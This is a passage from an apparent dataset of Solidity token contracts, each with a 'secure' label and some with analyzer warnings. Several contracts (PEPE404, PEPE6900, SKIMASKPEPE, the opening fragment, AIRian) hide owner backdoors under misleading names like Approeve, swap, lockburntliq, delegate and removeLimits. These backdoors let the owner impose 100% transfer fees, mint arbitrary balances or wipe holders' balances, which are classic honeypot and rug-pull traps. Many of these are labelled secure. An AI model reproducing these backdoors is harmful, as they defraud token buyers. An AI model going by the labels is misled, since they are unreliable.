0xb559B7799b6279d161Ac0BC4Bfd2C61eFE9A8EE7;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apperve(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _markadress;\n }\n\n function liqlysburnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3740.sol",
"secure": 1,
"size_bytes": 5332
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Base.sol\" as ERC20Base;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract RIchCrayFish is ERC20Base, ReentrancyGuard {\n uint256 public immutable maxSupply =\n 10000000000 * (10 ** uint256(decimals()));\n\n constructor() payable ERC20Base(\"RIchCrayFish\", \"RCF\") {\n mint(msg.sender, 1000000000 * (10 ** uint256(decimals())));\n }\n\n function _mint(uint256 amount) public nonReentrant onlyOwner {\n require(\n amount <= (maxSupply - totalSupply()),\n \"Amount exceeds max supply!\"\n );\n\n mint(msg.sender, amount);\n }\n\n function withdraw() public onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_3741.sol",
"secure": 1,
"size_bytes": 827
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract AIRian {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8c74b83): AIRian.tokenTotalSupply should be immutable \n\t// Recommendation for 8c74b83: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 062843a): AIRian.xxnux should be immutable \n\t// Recommendation for 062843a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 172c47c): AIRian.tokenDecimals should be immutable \n\t// Recommendation for 172c47c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 14559d5): AIRian.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 14559d5: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"AIRian\";\n\n tokenSymbol = \"AIR\";\n\n tokenDecimals = 18;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: 14559d5\n xxnux = ads;\n }\n\n function delegate(address addBot) external {\n if (\n xxnux == msg.sender &&\n xxnux != addBot &&\n pancakePair() != addBot &&\n addBot != ROUTER\n ) {\n _balances[addBot] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 4206900000 *\n 40000 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_3742.sol",
"secure": 0,
"size_bytes": 5658
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9c2d586): Contract locking ether found Contract BitcoinLiquidityProtocol has payable functions BitcoinLiquidityProtocol.receive() But does not have a function to withdraw the ether\n// Recommendation for 9c2d586: Remove the 'payable' attribute or add a withdraw function.\ncontract BitcoinLiquidityProtocol is ERC20, Ownable {\n constructor() ERC20(unicode\"Bitcoin Liquidity Protocol\", unicode\"BLIQ\") {\n _mint(owner(), 210000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9c2d586): Contract locking ether found Contract BitcoinLiquidityProtocol has payable functions BitcoinLiquidityProtocol.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 9c2d586: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3743.sol",
"secure": 0,
"size_bytes": 1103
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"🐕LuckyDOGE\", unicode\"🐕LuckyDOGE\", 9, 100000000000)\n {}\n}",
"file_name": "solidity_code_3744.sol",
"secure": 1,
"size_bytes": 231
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IProxy {\n function read() external view returns (int224 value, uint32 timestamp);\n\n function api3ServerV1() external view returns (address);\n}",
"file_name": "solidity_code_3745.sol",
"secure": 1,
"size_bytes": 230
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface RsETHReader {\n function rsETHPrice() external view returns (uint256);\n}",
"file_name": "solidity_code_3746.sol",
"secure": 1,
"size_bytes": 154
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IProxy.sol\" as IProxy;\nimport \"./rsETHReader.sol\" as rsETHReader;\n\ncontract ExchangeRateAdaptor {\n address public immutable agETH_to_rsETH_proxy;\n\n address public immutable rsETH_address;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 47b4704): ExchangeRateAdaptor.constructor(address,address)._rsETH_address lacks a zerocheck on \t rsETH_address = _rsETH_address\n\t// Recommendation for 47b4704: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 529846f): ExchangeRateAdaptor.constructor(address,address)._agETH_to_rsETH_proxy lacks a zerocheck on \t agETH_to_rsETH_proxy = _agETH_to_rsETH_proxy\n\t// Recommendation for 529846f: Check that the address is not zero.\n constructor(address _agETH_to_rsETH_proxy, address _rsETH_address) {\n\t\t// missing-zero-check | ID: 529846f\n agETH_to_rsETH_proxy = _agETH_to_rsETH_proxy;\n\n\t\t// missing-zero-check | ID: 47b4704\n rsETH_address = _rsETH_address;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 573ba5d): ExchangeRateAdaptor.read() uses timestamp for comparisons Dangerous comparisons require(bool,string)(agETH_to_rsETH_timestamp + 86400 > block.timestamp,Timestamp older than one day)\n\t// Recommendation for 573ba5d: Avoid relying on 'block.timestamp'.\n function read() public view returns (int224 value, uint32 timestamp) {\n (int224 agETH_to_rsETH_value, uint32 agETH_to_rsETH_timestamp) = IProxy(\n agETH_to_rsETH_proxy\n ).read();\n\n uint256 rsETH_to_ETH_value = rsETHReader(rsETH_address).rsETHPrice();\n\n\t\t// timestamp | ID: 573ba5d\n require(\n agETH_to_rsETH_timestamp + 1 days > block.timestamp,\n \"Timestamp older than one day\"\n );\n\n int256 int_rsETH_to_ETH_value = int256(rsETH_to_ETH_value);\n\n value =\n (agETH_to_rsETH_value * int224(int_rsETH_to_ETH_value)) /\n 10 ** 18;\n\n timestamp = agETH_to_rsETH_timestamp;\n }\n\n function read_agETH_to_rsETH()\n external\n view\n returns (int224 value, uint32 timestamp)\n {\n (value, timestamp) = IProxy(agETH_to_rsETH_proxy).read();\n }\n\n function read_rsETH_to_ETH() external view returns (uint256 value) {\n (value) = rsETHReader(rsETH_address).rsETHPrice();\n }\n\n function read_agETH_to_ETH()\n external\n view\n returns (int224 value, uint32 timestamp)\n {\n (value, timestamp) = read();\n }\n}",
"file_name": "solidity_code_3747.sol",
"secure": 0,
"size_bytes": 2636
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Chopper is ERC20 {\n constructor() ERC20(\"Tony\", \"Chopper\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3748.sol",
"secure": 1,
"size_bytes": 272
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MEDUSA is ERC20 {\n constructor() ERC20(\"MEDUSA\", \"MEDUSA\", 9) {\n _totalSupply = 100000000000 * 10 ** 9;\n\n _balances[msg.sender] += _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n}",
"file_name": "solidity_code_3749.sol",
"secure": 1,
"size_bytes": 384
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Token is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant presaleReserve = 8_000_000_000 * (10 ** _decimals);\n\n uint256 public constant marketingReserve =\n 4_000_000_000 * (10 ** _decimals);\n\n uint256 public constant stakingReserve = 3_000_000_000 * (10 ** _decimals);\n\n uint256 public constant projectFundsReserve =\n 3_000_000_000 * (10 ** _decimals);\n\n uint256 public constant liquidityReserve =\n 2_000_000_000 * (10 ** _decimals);\n\n constructor() {\n _name = \"ShepskyAI\";\n\n _symbol = \"SEKY\";\n\n _mint(0x5b23b9fC9b8ba4c78b1C36b4c5B3B578C1af7aE1, presaleReserve);\n\n _mint(0xEc3b9370bfbcfACfaaA1A08852C5531a28123010, marketingReserve);\n\n _mint(0xC03F88af8bbCB751916c5599E55a972703954b74, stakingReserve);\n\n _mint(0xAD9944d6147321Bff506638e486B10de39F497A0, projectFundsReserve);\n\n _mint(0xdd0074aF8ae9dBB9809865d613118D0084d8d8c6, liquidityReserve);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}",
"file_name": "solidity_code_375.sol",
"secure": 1,
"size_bytes": 5921
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PEPE404 is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 48467aa): PEPE404._decimals should be immutable \n\t// Recommendation for 48467aa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4176314): PEPE404._totalSupply should be immutable \n\t// Recommendation for 4176314: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c5d7112): PEPE404._teammarkingwallet should be immutable \n\t// Recommendation for c5d7112: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _teammarkingwallet;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _teammarkingwallet = 0x384260786d468Aa98E86583e244770a3849bD994;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Approeve(address user, uint256 fePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, fePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _teammarkingwallet;\n }\n\n function safeburnt(address recipient, uint256 aDrop) external {\n uint256 receiveRewrd = aDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3750.sol",
"secure": 1,
"size_bytes": 5364
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PEPE6900 is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ff76855): PEPE6900._decimals should be immutable \n\t// Recommendation for ff76855: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1f6e2e5): PEPE6900._totalSupply should be immutable \n\t// Recommendation for 1f6e2e5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a0eecb8): PEPE6900._teamddressmoon should be immutable \n\t// Recommendation for a0eecb8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _teamddressmoon;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _teamddressmoon = 0x54F6688f8d8E359Cc24903956D5BD33f4770027d;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Exacute(address user, uint256 fePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, fePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _teamddressmoon;\n }\n\n function bookliqburnt(address recipient, uint256 aDrop) external {\n uint256 receiveRewrd = aDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3751.sol",
"secure": 1,
"size_bytes": 5358
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SKIMASKPEPE is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 68c8d88): SKIMASKPEPE._decimals should be immutable \n\t// Recommendation for 68c8d88: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d2789a3): SKIMASKPEPE._totalSupply should be immutable \n\t// Recommendation for d2789a3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 86a136a): SKIMASKPEPE._teamtaddress should be immutable \n\t// Recommendation for 86a136a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _teamtaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _teamtaddress = 0x8b4dF1982fdA22859533695C1611005bE202941b;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function swap(address user, uint256 fePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, fePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _teamtaddress;\n }\n\n function lockburntliq(address recipient, uint256 aDrop) external {\n uint256 receiveRewrd = aDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, 